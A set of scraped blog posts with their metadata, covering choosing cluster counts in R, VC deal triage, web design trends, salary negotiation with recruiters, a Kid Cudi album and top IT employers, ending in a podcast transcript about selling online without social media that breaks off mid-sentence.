As mentioned earlier it’s difficult to assess the quality of results from clustering. We don’t have true labels so so it’s unclear how one would measure “how good it actually works” in term of interal validation. However, clustering is an excellent EDA starting point for exploring the differences between clusters in greater detail. Think of clustering like manufacturing shirt sizes. We could choose to only make three sizes: small, medium and large. we’re sure to cut down cost but not everyone is going to have a great fit. Think about pant sizes now (or shirt brands with many sizes (XS, XL, XXL, etc.)) where you have many more categories (or clusters). For some fields the choice of optimal cluster may depend on some external knowledge like cost of producing k clusters to satisfy customers with the best possible fit. In other domains like biology where you are trying to determine the exact number of cells a more in-depth approach would be required. For example, many of the above heuristics contradicted each other for what the optimal number of clusters was. Keep in mind these were all evaluating the k-means algorithm at different numbers of k. This could potentially mean that the k-means algorithm fails and no k is good. The k-means algorithm is not a very robust algorithm that is sensitive to outliers and this data set is quit small. The best thing to do would be to explore the above methods on the output of other algorithms (for example hierarchical clustering which clValid suggested), collect more data, or spend some time labelling samples for other ML methods if possible.
Ultimately, we would like to answer questions like “what is it that makes this cluster unique from others?” and “what are the clusters that are similar to one another”. Let’s select five clusters and interrogate the features of these clusters.
# Compute dissimilarity matrix with euclidean distances
d <- dist(mammals_scaled, method = "euclidean") # Hierarchical clustering using Ward's method
res.hc <- hclust(d, method = "ward.D2" ) # Cut tree into 5 groups
grp <- cutree(res.hc, k = 5) # Visualize
plot(res.hc, cex = 0.6) # plot tree
rect.hclust(res.hc, k = 5, border = 2:5) # add rectangle | https://towardsdatascience.com/10-tips-for-choosing-the-optimal-number-of-clusters-277e93d72d92 | [] | 2019-01-28 02:07:40.570000+00:00 | ['Data Science', 'Data Visualization', 'Clustering', 'Rstats', 'Machine Learning'] |
Venture capital triage process, part 1: There are more similarities between a military hospital and a venture fund than you might think | By Pavel Cherkashin
[Almost confidential] Internal instruction for beginning venture analysts on how to quickly sort through incoming deals
Source: Shutterstock
TRUE STORY Young venture capitalist complains to an older colleague about the huge pile of pitch decks that need to be processed. Older colleague takes half of the documents and throws them in the trash can. “What are you doing? What if our next unicorn was there?” cries the younger one in panic. “Forget them! We don’t invest in losers!” says the older one.
Why VCs need a triage process
An average venture fund receives 3,000–5,000 startup pitches every year. On a single busy day, such as after a large event or a media appearance, the corporate inbox can be flooded with many hundreds of requests: Startups contact you directly, co-investors invite you to join their rounds, accelerators throw whole batches of pitches on the battlefield, and that cute person you thought was into you turns out to have a startup they want to pitch as well.
There is no way for fund partners to review all these incoming requests, formulate a weighted and thoughtful decision, and give reasonable feedback. The good news is that in the world of brutal capitalism, you don’t have to. Forget the losers; focus only on the winners.
It’s helpful to consider an analogy. A century ago, during World War I, military hospitals had a similar problem: insufficient resources to treat all incoming patients equally. All the experienced doctors were busy doing surgery, so lesser-qualified staff had to sort and prioritize newcomers following a standard set of rules. Should this person be sent for surgery immediately? Could they wait their turn? If so, for how long? Or would they require a priest rather than a doctor?
This process is called triage, and during the past century, it has been widely adopted by hospitals and emergency rooms around the world. Venture capital firms develop their own triage processes to identify and prioritize opportunities that shouldn’t be missed and not waste their limited resources on the rest.
The typical VC triage process
The default triage process for a venture fund looks like this:
Simply put, most the venture funds simply don’t consider any incoming requests; they focus exclusively on proactive search for opportunities (which are normally found within a 15-minute bike ride distance from their office).
More sophisticated VCs integrate an automated response system, but the outcome is the same:
A more thoughtful VC triage process
Some funds are more responsive to incoming requests, especially when they are in active investment mode or on the hunt for deals of a specific type. In this case, the triage process looks more like this:
This process is quick — just 30 seconds or so for each item. There is no time for formal evaluation of the market, business model, credentials, patents, etc.; the associate or intern simply decides whether the project is worth considering further. This triage process enables the VC to make sure all incoming requests receive proper screening while reducing bureaucracy and expenses.
The outcome of the triage process is a system of flags, similar to those a nurse would put on a soldier’s foot at a war hospital:
· Immediate Action (Surgery)
· Curiosity Folder (Can wait)
· Trash Can (God help them)
To quickly tag a project, the associate must answer these questions:
· Do you see any objective signals* that the project might be a success?
· Does the project claim to solve any of the strategic priorities*?
If the answer to both of these questions is “no” or “I don’t know,” throw the project in the trash and move on to the next one.
If the answer to either one is “yes” or “maybe,” check for compelling factors* that impart a sense of urgency. Based on that, flag the item for immediate action (a meeting, research, request for more information, etc.) or put the project on hold in the curiosity folder until a compelling factor emerges.
I estimate that fewer than 100 of the 3,000 pitches a VC gets each year end up anywhere but the trash can. Of those, just 10–20 have a compelling factor that merits immediate action.
Remember that the goal of the triage process is simply to screen the incoming deal flow and build a pipeline of interesting projects. After that’s done, the real process of making investment decisions can start, which includes analyzing factors such as the startup’s team, market, risks and competition.
*In the next post, we will review in detail what objective signals, strategic priorities and compelling factors to look for during the triage process.
***
Pavel Cherkashin is a cofounder and a managing partner at Mindrock Capital and a managing partner at GVA Capital. A former angel investor and entrepreneur, he now invests in cryptocurrency, artificial intelligence, blockchain and self-driving tech. | https://mindrockcapital.medium.com/venture-capital-triage-process-part-1-there-are-more-similarities-between-a-military-hospital-and-c3560c76c0c | ['Mindrock Capital'] | 2018-09-13 16:50:47.116000+00:00 | ['Venture Analyst', 'Investment Opportunities', 'Investments', 'Investment Management', 'Venture Capital'] |
7 Website Design trends 2020 that are impossible to ignore | Web design trends are somewhat like the seasons. They change every year. But the change is not repeated; rather, it continues to evolve with changing technology and human behavior. This presents endless possibilities for the designers to craft the perfect “love at first sight” interface to instantly attract visitors. Having said that, there are some tried and tested web design trends that will always retain their value.
For website owners who don’t have a clue on which of the website design trends will engage users and steal the attention of their audience, here are some web design trends 2020 that will woo the curious visitors to stick around and fulfill your website’s objectives.
1. Dark Mode
Darkness in life is not regarded as something good. But one of the most popular web design trends that will continue to impact in 2020 is the ‘Dark Mode.’ With its easy-on-eyes look and easy-to-spot colors, make the elements pop.
The stunning visibility has a couple of advantages as well. It does save power, improve the visibility of the elements placed and the colors appear to be dynamic in design.
The dark mode is pretty hot right now.
That’s why the dark mode fits in perfectly in 2020 web design trends along with mood color schemes combined with Neon glow and dystopian styles.
2. Immersive 3D elements
3D visuals delight many people. What was once a trend just for technology is now being used in website designs as well. We are now living in a time where 3D design can easily be made even without NASA-tier equipment.
Until the VR becomes wallet-friendly and fully mainstem, 3D fills the gap by creating an immersive experience in websites.
The interactive 3D design encourages the visitor to engage and stay longer. As 2020 comes into view, it is necessary that you keep an eye on 3D designs as it will be one of the best website design trends 2020 that will bridge the gap between reality and digital space.
3. Shadows & Floating Elements
The shadows give you a 3D like a look that adds depth and immersive feel to the visitor. By using text and photos, the effect can easily be magnified.
Stealing some principles of material design, the web designers can add a little soft shadow to a 2D layout and make it look like a 3D image. And when these elements are combined with a floating effect, it can become crisp and sharp and even classic without ending flat and ordinary.
4. Solid White Frames
Gone are the days when web designers used to crave gradient layouts. Now, designers are moving towards stable structures with white space to give their structures design stability and clean framing.
In 2020, we’ll see a lot of reliable web design structures that will display one element on the page with a generous room for white space that will capture the attention of visitors in an instant.
Moreover, the white frames, when used strategically, can grab the attention of users without making it too obvious or irritating.
5. Glowing Color Scheme
One of the most prominent website design trends in 2020 was the courageous color pairings. When used strategically, the design would jump off the screen.
Since the web designs are becoming bold and daring, it is safe to predict that glow-in-the-dark web design will play a vital role when followed with muted shades and a luminous feel.
Moreover, duotone is making this design shine more. It is like reinventing the forefront of the design. With a little bit of iteration, neon pops and stark color, the trend is yet to capture the minds and hearts of visitors.
6. Interactive Animations
When you think about animations, you see them happening. They are acting independently on the page. A growing web design trend in 2020 will be an animation that will be triggered by the user.
Combining user interaction with animation is one of the most exciting ways to bring life into a lifeless website. Every design will be unique on its own. Upon the response from the user, the animation will respond accordingly.
A great example is Romain Avalle’s website, where the outlines of the website move as the cursor moves. This is the type of interaction that helps more users to engage the users and make them part of the whole website experience.
7. Ultra-minimalist navigation
Smartphones and wearables are already influencing web design and 2020 will be no different. The shift towards a focus on how the user interacts with the website will continue to influence how we approach design in general and websites in particular. The secret is engaging the user and making the experience as seamless as possible so that the user keeps coming back for more.
Over the years, navigation has become more uncomplicated and more straightforward, which is why it is vital to engage the user even if it’s for a shorter time span.
One of the most prominent website design trends 2020 will be making everything easy for the end-user. More time is invested in creating straightforward, brainless, and intuitive experiences.
In the same context, the quality of the image is of extreme importance. It is not just about using stock images or even high definition images; it is more about using images that contain bare minimum imagery and less text.
In the End
It’s all about getting the right traffic on your website and stimulating more visitors to generate repetitive sales.
Every trend is hand-picked for startups and business owners who aren’t sure which web design trend will make the right impact on the users in 2020.
This blog is published on Branex.com | https://medium.com/@aaron.starc87/7-website-design-trends-2020-that-are-impossible-to-ignore-3571bdc6165f | ['Aaron Starc'] | 2020-01-28 12:39:15.914000+00:00 | ['Marketing', 'Design', 'Website Design', 'Ui Ux Design', 'Website'] |
Stop Getting Fu*ked by Technical Recruiters | Why Should You Trust Me
I’ve been working as a moderately-priced technology prostitute for over twenty-five years now: writing code for the likes of NASA, a couple of DOD contracts, working for the Florida House of Representatives, Hilton, Disney, as well as a cavalcade of three to six-month gigs at much smaller organizations.
Standing in the way of the vast majority of these gigs was a technical recruiter peddling a mediocre salary, shit insurance, and a 401k that you would only be qualified to participate in once most of the contract was completed. I have only gone directly to a company as a W2 employee exactly twice in my entire career. I’m not sure if my penchant for going through these technical recruiters was a function of where I’d been looking for my next gig (websites) or how efficiently they (the recruiters) reach out to candidates. However it was, I’ve ended up speaking with hundreds of these recruiters over the course of my career.
Let’s Begin
I have an exceedingly low opinion for most “technical” recruiters while simultaneously owing a great deal of my career to their sales skills. Without them, I would probably never have had a shot in hell at the dream organizations they were able to get me into such as NASA and Disney. I understand, better than most, that the nature of identifying capable people has value, but the problem is that these organizations have become all sales and no technology. In Texas, we would call that “all cowboy hat and no cattle’’. Over the past few years, I have seen rates, that recruiters charge, go higher and higher but I haven’t seen this proportionally translate to the rates paid to the people doing the work. How many of you have been forwarded an email, mistakingly, that revealed what the recruiter was charging for you? I bet you were surprised.
The first time I realized how negotiable this delta between what they are paying me and what they are charging for me was when I was working at a contract for the Golf Channel(Which as a side note is a wonderful place to work and full disclosure my wife currently works for NBC Universal, which at the time of this book, owns Golf Channel). The staffing company had a rule, that I think has since been made illegal, that stated that their consultants were forbidden to tell anyone what they were making. I had to sign a contract to this effect which made me, for the first time, super suspicious as to how much they were charging for me. I was making $38 per hour and a manager admitted to me that they were paying over $90 for me. This is a delta of $52 per hour which translates to $108K gross profit per year to the staffing company. If I knew what I was doing, I probably could have negotiated a much better rate but regardless this experience made me realize how much sky really exists in this game. And by the way, you will need to start believing that salary negotiation is a game. You really should stop taking this process so personally.
That strange feeling you get in your chest when you say your number to your adversary is a combination of guilt, shame, and excitement. These emotions are not helping your clarity of mind and they are also not necessary. How nervous do you think the recruiter / trained negotiator is? I promise you that their heart rate is completely unchanged because they do this 20 times per week. This life skill can be the difference between making a comfortable living and just barely making it and your adversaries practice every day. You may not get to practice it more than ten times over your entire career.
Learning to negotiate how much you will charge for your labor may be one of the most important life skills you can ever develop. For every $10 more per hour, you are able to get from a recruiter/employer will translate into another $20,000’ish more per year to your salary. It is also important to understand that every salary can have an additive effect over the lifetime of your total career earnings. I would also like to remind you that the lifespan of the average human is 70ish. If you’re in your twenties you have a little time but if you are in your forties then you should know that there is a very high likelihood that you will be dead in the next 30 years.
Tick Tock. It’s later than you think.
The Rules — 5 of 16
#1: Only divulge information that benefits you.
#2: Always be polite, as nobody wants to work with an asshole.
#3: Figure out who it is that you’re talking to before you tell them anything.
#4: Know what you’re worth, rate-wise.
#5: What you were paid in the past is none of their business. If they ask, do not answer.
The rest of the rules can be found in my book.
My Mission
I have been taking notes and outlining this book for years as I always knew I wanted to get it published. Most nerds, in general, are not well suited to negotiating our salaries. What is worse is that the people we are up against do it every single day and we do it 5–8 times in our entire life. This book is filled with all the things I wish I knew when I started my career.
So “A Nerd’s Guide to Negotiating Salary And Benefits” would probably have been a good title but I didn’t think he was in your face enough. If you in the tech industry then you have dealt with technical recruiters. If you are like me then you have also probably been taken advantage of by these gatekeepers that neither invented nor innovated in the very industry that was making them millions.
ScottTurman.com | https://medium.com/@scott-turman/i-finally-published-stop-getting-fu-ked-by-technical-recruiters-b9c7cb56916e | ['Scott Turman'] | 2021-02-01 14:05:59.464000+00:00 | ['Programming', 'Technology', 'Recruiting', 'Careers', 'Jobs'] |
Top 3 Songs On Kid Cudi’s Man on The Moon III:Chosen | Congratulations to Kid Cudi who is projected to sell 170K to 180K his first week from his project, “Man on The Moon III: Chosen.” Many people are making the argument that his new project is the best album of the year. It feels like every time Kid Cudi hums in his music, his song becomes a guaranteed hit. The following below are my top three favorite songs of the album along with an insightful interview with Zane Lowe discussing the creation of the project.
1. The Dive
2. The Void
3. Tequila Shots
Kid Cudi’s Interview With Zane Lowe | https://medium.com/music-for-inspiration/top-3-songs-on-kid-cudis-man-on-the-moon-iii-chosen-af351b5dc698 | ['Ike Okwerekwu'] | 2020-12-14 13:32:40.676000+00:00 | ['Kid Cudi', 'Culture', 'Inspiration', 'Rap', 'Hip Hop'] |
Top 10 IT Companies To Work In 2022 | Top 10 IT Companies To Work In 2022. In this blog post, we going to see about the top 10 IT companies in 2022 and you can translate this blog into Tamil. The world of work is transforming not only have we worked through a once-in-a-generation global pandemic but decades of automation the rise of artificial intelligence and the new shift to remote work have all reshaped what our professional lives look like. Hello everyone today we’ll be taking you through the top 10 IT companies to work for in the year 2020–21.
10. Nike :
Now let’s get started in the 10th position we have Nike an American multinational corporation that is engaged in the design development manufacturing and worldwide marketing and sales of footwear apparel equipment accessories and services is popular in the e-commerce and commercial field with that said why exactly do you need to be working for Nike anyway.
Reasons to work in Nike :
Now here are a few reasons that will clear your doubts the first one being to bring inspiration and innovation to every athlete in the world of course everyone has sportsmanship in heart and this will give you a way closer to that feeling Nike has aggressive goals to help change the future of the sport. Nike rewards its employees with a chance to meet the athletes they admire. So why wait to apply for Nike now remember the mission of Nike is what drives them to do everything possible to expand human potential.
9. Infosys :
The ninth company on our list is Infosys. Infosys is a global leader in next-generation digital services and consulting Infosys is an Indian multinational information technology company that provides business consulting information technology and many other services which is headquartered in Bangalore adding on it is one of the leading companies all over the world.
Reasons to work in Infosys :
Now reasons to work in Infosys well there are many to start we have the brand has a good reputation in the market that is one of the top reasons to work for Infosys right. Now fosters inclusive openness and mindset of exploration and applied innovation get started to work on Infosys do your research and become an employee of Infosys, of course, there is a motto for them and they follow by this motto which says a global leader in the next-generation digital services and consulting, of course, Infosys emphasizes on the importance of the culture.
8. Facebook :
The next company on our list is Facebook facebook otherwise known as meta platforms recently has a rename it is brand it is doing business as meta and it was formerly known as Facebook anyway it is a multinational technology which is based in California the company is a parent organization of Facebook, Instagram, Whatsapp among other subsidiaries.
Reasons to work on Facebook :
well, one does not need any reason to work at Facebook just the brand name will push you to work at Facebook and make the best of yourself. (Tamil) Yet here are a few things that will add to your goal to work for Facebook Facebook gives its employees more growth opportunities than any other social networking site. On average the Facebook employee earns about 1,35,000 per year which is in dollars obviously and interns pay up to seven thousand dollars a month and this is on average, of course, Facebook also abides by a motto which says move fast be bold and be yourself.
7. Microsoft :
Now with that, we move on to our next company which is in the seventh position which is Microsoft. One of the top-standing companies helps you do what you love to create the future that you want.
Reasons to work in Microsoft :
reasons to work for Microsoft are Microsoft allows employees to work at their own pace and give them the time to experiment and innovate Microsoft cares about its employees through competitive salaries great benefits and advancement opportunities.
6. Google :
In the sixth position we have Google or otherwise known as google LLC in terms of the technology industry it is yet another American multinational technology company that specializes in Internet-related services and products which include online advertising technologies a search engine, a cloud computing software, and even hardware course google has wide opportunity all over the world to offer many things to the employees even beyond our thinking google has worked hard to make their company a place their employees enjoy being this includes supplying breakfast, lunch, snacks and other foods including video games, table tennis amongst others adding on google is data-driven and a vast number of amenities are provided to the employees to encourage their creativity and there is a unique hiring process to maintain the happiness at google. Now motto of Google is to organize the world’s information and make it universally accessible and useful.
5. Hindustan Unilever :
In the fifth position, we have Hindustan Unilever. Hindustan Unilever Limited is a consumer goods company headquartered in Mumbai India. It is a subsidiary of Unilever a British company, its products include foods beverages, cleaning agents personal care products water purifiers other fast-moving consumer goods it also has helped many of the organizations and non-profitable organizations in India and across the globe to come up.
Reasons to work in Hindustan Unilever :
So a good reason to start working for Hindustan Unilever limited adding on we must know that one of the unique things that Hindustan Unilever limited focuses on is the generation of great jobs that allow its employees to have great responsibility at a very early stage of their careers Unilever introduced as e-learning platform which offers a bouquet of 3000courses on self-learning mode via computer and internet the motto of Hindustan Unilever Limited is to build a purpose-led future-fit business in India.
4. Reliance Industries :
In the fourth position, we have reliance industries. Reliance Industries is an Indian multinational color merit company headquartered in Mumbai India. Its diverse businesses include energy petrochemicals, natural gas, retail, telecommunication, mass media, and textile amongst others reliance industries limited is committed to innovation-led exponential growth in areas of hydrocarbon exploration production petroleum, and the rest others.
Reasons to work in Reliance Industries :
There are many more reasons that you have to work for reliance digitals apart from the fact of its brand name as mentioned here great people build great organizations this is what reliance believes in it makes sure that these people are regarded and acknowledged appropriately for their efforts. The motto of reliance goes as it identifies and develops high potential talent within the organization and provides them with accelerated learning and growth opportunities.
3. Radix Web :
Now we dive into the top three positions of today’s list standing in the third position is radix web. radix web is a globally acclaimed IT consulting and offshore software development leader headquartered in Ahmedabad a slowly emerging company is stopped in the top three list 2021 IT companies.
Reasons to work in Radix Web :
Now here’s why you have to work for radix web a team of driven professionals connected through a kindred passion of digital excellence a healthy work-life balance is a top priority at radix web the management pays close attention to each professional key skills and utilizes them to their fullest potential in professional projects.
2. Tata Consulting Companies (TCS) :
In the top two list of today’s top 10 companies tata consultancy agencies or tata consultancy services. It is a global leader in its services consulting and business solutions with a large network of innovation and delivery centers.
Reasons to work in TCS :
tata consultancy services or otherwise known as TCS is an Indian multinational information technology services company headquartered in Mumbai many of the aspiring engineers already aspire to work for TCS as their strength lies in their difficulties they go on with this motto and offer several things to their employees adding on TCS gives free access to many learning platforms and it allows its employees to take leave for their higher studies and also supports financially if an employee wishes to take any form of a loan.
1. Adobe :
With that, we reach the top company or the number one company listed as per 2020 list for today adobe originally called adobe systems incorporated is an American multinational computer software company. It’s headquartered in san horse California and has historically specialized in software for the creation and publication of a wide range of content including graphics photography illustration animation multimedia motion pictures and print.
Reasons to work in Adobe :
Reasons to work at adobe well adobe is an employee-oriented company it keeps its employees involved and engaged in company-wide cultural activities adobe became eligible to be considered among India’s best companies for the year 2019 a list that features the best of best the moto is always changing the world through digital experiences.
Conclusion :
Now this list comes to an end we hope that the top companies list here will serve you as you go through resources for professionals at every stage from those who are looking to get back on their feet after an unprecedented year to those who are ready to take the next step in their career if you have any doubts regarding today’s session you can put down in the comments section below and we will answer it until we meet again next time happy learning. | https://medium.com/@dineshmadhavan/top-10-it-companies-to-work-in-2022-7909ce2d7145 | [] | 2021-12-29 12:02:29.314000+00:00 | ['It', 'Tamil Posts', 'Jobs', 'Future', 'Mnc'] |
HOW TO SELL ONLINE IN 2021 WITHOUT RELYING ON SOCIAL MEDIA | Woo-hoo a new year is coming!
And it’s time to start thinking about what you need to do differently to have a more peaceful, profitable business while giving yourself more freedom!
More money means diddly squat if the way you’re obtaining it is leaving you stressed, burnt out, time strapped and unmotivated. Of course a new year brings a sense of new ambition but you have to be careful to not let it blind you from the changes that need to be made for long term success.
Here are two things to consider as you approach the new year:
How will it affect your life and your mental space if you took away the pressure you feel to constantly show up and rely on social media? Social media is supposed to be social. It’s supposed to be fun and something we do when we feel like it. But for many of us it’s a sea of doubt and comparison. It’s a platform to “sell” and “the only” way to make money online. What has social media become for you?
In episode 91, on the God + business podcast, I’m sharing what will happen if you stop relying on social media in 2021 and how to restructure your mindset & business to make that happen.
You ready? Let’s go girlfriend!
(00:00):
Hello, you amazing woman of God. How are you? Are you doing, I hope you’re having an amazing day, an amazing week. This is going to be a fun, little to the point episode, which most of them are. I mean, let’s just be honest here. I like to keep them short and sweet for you because I know that your time is valuable. I mean, heck my time is valuable and I know you’re probably busier than I am, so let’s keep it to the point, but hopefully you’re having an amazing Christmas season. That’s all started. Or I mean, like, let’s be honest. It started at Halloween, like before Halloween did it not. Everybody’s so eager to get to the end of the year, which I completely understand. It’s been a crazy year and new year’s are always fun, no matter what’s going on in the world.
(00:49):
But when it comes to your new year, I want to, to talk to you about how you’re going to. So in 2021, okay, so you’re listening to this because you have an online business and so much of the time, and we associate online business with social media, but actually an online business does not even have to be done on social media. So what I want you to think about is what if in 2021, you showed up less on social media, but you still sold in your online business. You still make sales, right? You still, you were still selling on line, but without using social media and maybe you’re like, Heather, I love social media. That that’s my jam 10. That’s awesome. Keep doing it right. But for a lot of us, we’re really, really getting tired of it. And the freedom that comes with letting it go, letting that pressure is priceless.
(01:51):
Right. I know for me, that was a game changer. Just taking that pressure off of me, of having to show up and do social media. So how do we do this? How do we sell online in 2021 without using social media? So if you’re ready to make 20, 21 a better year than it’s ever been, and you’re thinking, Oh, I’m just going to have to hustle harder on social media. I’m going to have to, but I’m going to do it. I’m really going to do it. I’m going to carve out time to make the post and show up and do stories and do reels. And I’m going to schedule as much of it out as I can, but, but I can’t do it all. So hopefully I’m going to find the inspiration, you know, but at the same time, I’m also doing this and this and this and who knows what’s going to happen.
(02:34):
So if that’s what you’re thinking and it’s totally stressing you out and overwhelming you and you really, really, really wish that there was a way you could market and do business in 2021 that is different than what you’re doing. Now. Then this is episode for you because we’re going to dive in how to sell online in 2021 without using social media. Are you ready? Let’s go. All right. So it comes to selling online in 2021 without using social media. I want you to think longterm success. Okay. When it comes to marketing, successful marketing is about longterm success. It is the long game. It is not. These overnight wins quick fixes. That’s going to leave you chasing pennies for the rest of your life. And whether you’re in a service provider or a coach or network marketing, it still needs to be about the long game.
(03:24):
And I know so many of us start network marketing from a short-term perspective. Like, Oh, let me just try it out, see how it goes. But those aren’t the successful people. So if you want to be successful in network marketing, you need to be thinking about the long game. Okay. You need to be in it for the long game. You need to be structuring your business for the long game, no matter what type of online entrepreneur that you are. Okay. So what does that look like while you’re inside the six figure offer? We teach to commit to a six-figure strategy. I mean, hello, pretty much every one of us is going to feel successful when we have reached six figures in our business, but a six figure business does not happen overnight. Okay. It doesn’t. And it also is not going to happen as fast as you want it to just by working harder and working more.
(04:14):
It’s not because what happens, we get burnt out. And when we get burned out, we’re not as inspired. We don’t feel as motivated. And then we don’t do a whole lot of anything or we push ourselves to do it anyway. And the negative energy that’s going into it is now going to be counteracted onto other areas of our life. Maybe your family, maybe your friends, maybe every, just your day, like maybe you just, aren’t going about your day with the joy and the happiness that you have because you’re pushing yourself so hard to do something that you don’t want to do. Okay. And again, it may not be that you don’t want to do social media, but doing your business only on social media, that’s, what’s draining you. Okay. So when you take that, erase that and you just say, okay, let me just look at my business from a new perspective.
(05:13):
Okay. And let me start with, I’m going to commit to a six figure strategy. And let’s me look at what that looks like, right? What does a six-figure strategy look like? Well, the six-figure strategy is taking what you have been relying on social media to do and structuring it to happen on its own. Okay. Now I’m not talking about automating everything in your business. Not, that’s not what I’m talking about at all. What I’m talking about is the strategy behind how you have structured everything. It makes, what takes, what you’re doing on social media and working so hard and spending so much time on and it does it more organically for you. Okay? So what we teach is to have first and foremost, a very good PR, a very good offer, right? So you’ve got to have a very good offer and have a very good offer.
(06:11):
You have to be very clear on the problem that you’re solving the solution that you’re providing the transformation, that’s going to get them that solution. And then where are these people going to find out about your offer? How are they going to learn from you and see you as the expert, right? So that is going to happen inside your community. That is off Facebook, all right, off Facebook. And in the next episode, we’re going to talk about why you’re losing money if you’re growing your community on Facebook. So I’m not going to talk about that right now, but part of this long-term strategy is having that safe place to bring your community together, to really get to know who you are, what you do and position yourself as the expert, as the leader. Okay? Without all the distractions that they’re getting on Facebook, all right, now, sure.
(07:10):
There’s a lot of different places. You can host community, but there’s specific reasons we chose mighty networks and why we recommend it, but you can use any of them. You can use any kind of community platform that you’ve found. We personally recommend mighty networks because the goal is to center your community around your offer. Everything needs to be about your offer. At the end of the day, who you’re talking to. If they’re not an ideal client for your offer, then you don’t need to be talking to them. It’s a waste of your time. You can still have friends and all that, but at the end of the day, your business is about profit. Because if you aren’t making a profit, you don’t have a business. Let me say that again. Okay. At the end of the day, your business is about making a profit. And if you don’t have a profit, then you’re don’t have a business.
(08:00):
Okay. You can go a little while building that profit, but if you don’t get there, you don’t have a business. Okay. So commit to the six figure strategy, ask yourself, okay, what do I need to do to get off social media, stop relying on social media to find me leads and find leads on my own, nurture them and lead them to my offer. How do I do this? Well, we use mighty networks. Okay. It’s building a community. That’s off Facebook. It’s owning your content. It’s showing up on a consistent basis and providing value that is teaching. And and what’s the word? Nurturing your community, your people. That’s not even the word I was looking for, but anyway, you’re teaching them and showing them like, Hey, look, I see the problem that you have. This is it. Get making them have aha moments, showing them, you know, hitting, talking about the symptoms, talking about the benefits, but literally everything you’re talking about is the same.
(09:02):
It’s over and over and over again. And it’s all tying into your offer. I mean, how much more freedom are you going to have in 2021? If you are no longer like, Oh, I have to show up and do a live video. Every single day. I have to do a story three times a day minimum. I have to do reels now, which takes me like 10 minutes to see even edit it and get the music and make it good enough or, or get the right dance move, right. Or I have to be doing you know, Facebook ads. I have to be doing Instagram ads. I have to be doing all the things and that’s taking up all of my time. So how much more freedom are you going to have if you take all of that, all your off of your plate and you focus on the long game, which is one core component, content core piece of content each week.
(09:51):
Okay. That is directly related to your offer. We teach this when we teach our marketing plan strategy in in January. So in January, we’re having make marketing fun, again, a live event. And we’re going to teach you how to map out your 20, 21 social media free marketing strategy plan. And we’re teaching you from this perspective, from this perspective of not doing a million pieces of content, but doing one, one piece of content a week. I mean, when you can handle that, right. And how much more freedom are you going to have if you do that? Okay. And I know how social media works. I have taught social selling. We have a whole component of social selling for those of you that are for our clients that aren’t quite ready to switch over to mighty networks. They still want to do social media. We have a whole training on that whole content training, and I know what it takes, and this is so much easier, so much easier.
(10:59):
Okay. Create searchable content, keyword, rich content, one piece a week. Now, if you want to do more content a week, that’s awesome. Like you might find a groove and get inspired because you’re not having to show up on social media and you just start busting out content, like who knows what’s going to happen with that free time that you’re going to have in that free mental space, but commit to a minimum of the one piece of content that is searchable keyword, rich content. So for me, that’s my podcast, right? For Cassie that’s her blog post. Okay. It can be bog blogging, audio video, but it needs to be one of the three or you can combine it. Right. So Kathy does a video for every blog posts that she does as well. And I don’t, I do a podcast and then I just post it as a blog post.
(11:48):
Okay. So it’s in the same place and it’s doing, it’s serving the same purpose. All right. So imagine how much freedom you’re going to have if you just commit to that and you know, wow. Okay. For the next 12 months, that’s all I have to be committed to is showing up and doing that one piece of content. And then part of this six figure strategy is that from that content, you’re sending them to your community, your mighty networks community on Facebook, where you have a client member, not client, I’m sorry, a member journey already set up to help nurture them and welcome them into your space and direct them to where they need to go to start getting value from you immediately. Okay. And then once they’re in there and they’ve done that, you’re just going to keep serving them. We have a monthly live event that we do every month and that’s how we serve our people.
(12:44):
They get live coaching. So everyone inside our community is invited to this free coaching event that we have every single month. And if you get on the coaching call, you get coached by us. Okay. On the, on the topic that we’re talking about, that that month, that’s how we serve our community. And so, I mean, how much more simple is that, right? Because you’re not depending on an algorithm to, to depict your success. No, you’re depending on you in for a long-term strategy, that’s going to work for you. And then after you get them in there and then you lead them into your offer. After that, that’s when you can use traffic boosters to just drive a little extra traffic, right. To amp up your traffic. And that’s when you can use social media as a traffic booster. But there’s a huge, huge difference between running your business all online on social media versus using social media as a traffic booster.
(13:52):
Okay. When you’re using it as a traffic booster, you can hire a social media management company or a manager or an agency. You can hire a VA to manage your social media because you’re still not. Because the thing about hiring out social media is a lot of times you have to still put, produce all of the content because this, you don’t have the structure in place for them to create the content. But with this six-figure strategy that we teach, you have your one piece of content already for the week. And that is all they need. That is all they need. And they can go and run your social media. Okay. Boom, completely social media off your plate, unless you just feel like showing up, right. Maybe you’re opening the cart to your offer, or you want to, you know, do a live video and invite people to watch your webinar.
(14:49):
That’s inside of your mighty networks community. Well, then you’re going to just pop on there and you’re going to just going to do one. I’m just going to do a little live. Cause you feel like it, right. How much more freedom will that create for you friend? Because for me, it was the difference between feeling like I had to work every single day to, I only work one day, that’s it one day, sometimes a day and a half. Okay. That’s freedom. And for me it was the stress and the guilt, the stress of like having to constantly show up on social media too, as well as the just the, the mental capacity that it took to do it, plus the guilt of not doing it. Right. Because sometimes I just like, I just didn’t want to, it took so much to try and push myself to do it that sometimes I just didn’t want to.
(15:44):
And I would feel guilty about it because it’s like, Oh, this is the only way to make money online. Like I have to do social media and I have to do it all the time. If I want to make money, good money and be successful. That is freedom. Taking that mindset away, clearing up that mental clarity, that mental, not clarity. Sorry, that mental space. That is freedom. That was freedom for me. So much freedom. And that’s what I want for you. That’s what Cassie and I want for you in 2021. Okay. We want you to restructure your business for six figures by committing to a six-figure strategy by being in it for long, for the long game for longterm success versus just quick wins. Well, I’ll just do a little sprint on social media this month and I’ll just hopefully increase my sales. Okay. Go for it.
(16:40):
But what if you had all of this in place and it was working for you and growing over time, and then you just added in a little extra traffic boosters during certain months. Well, that’s going to be a whole lot more freedom, right? Or you get all of this up in place and then you hire somebody to wrench those media for you. How much more freedom is that going to be for you? How much less stress is that going to be for you? We can not affectively run a business. If we are stressed out all the time, if we’re feeling guilty over things like not wanting to do social media, not working and there were beating herself up and then we shut down and then we have to start all over in this cycle of working ourselves back up to, I got to find my motivation.
(17:31):
I got to get inspired again. I got to get this done. I got to show up on social media. I’m going to do it. I’m going to do it this month. And we set a goal, but then the same thing happens. We do it for a week, do it for maybe two weeks. And then we’re just burnt out again because we don’t love it. We’re tired of it. It’s not a long term strategy. Okay. It is not sustainable to run your business on social media. So if you want to sell online in 2021 without using social media, this is the process it’s committing to that six figure straps. It’s saying, I’m not going to be a part of this anymore. I’m breaking free from this hustle mentality. I’m breaking free from the social media addiction and no shame. If you feel like you have a social media addiction, or maybe you’re denying it.
(18:26):
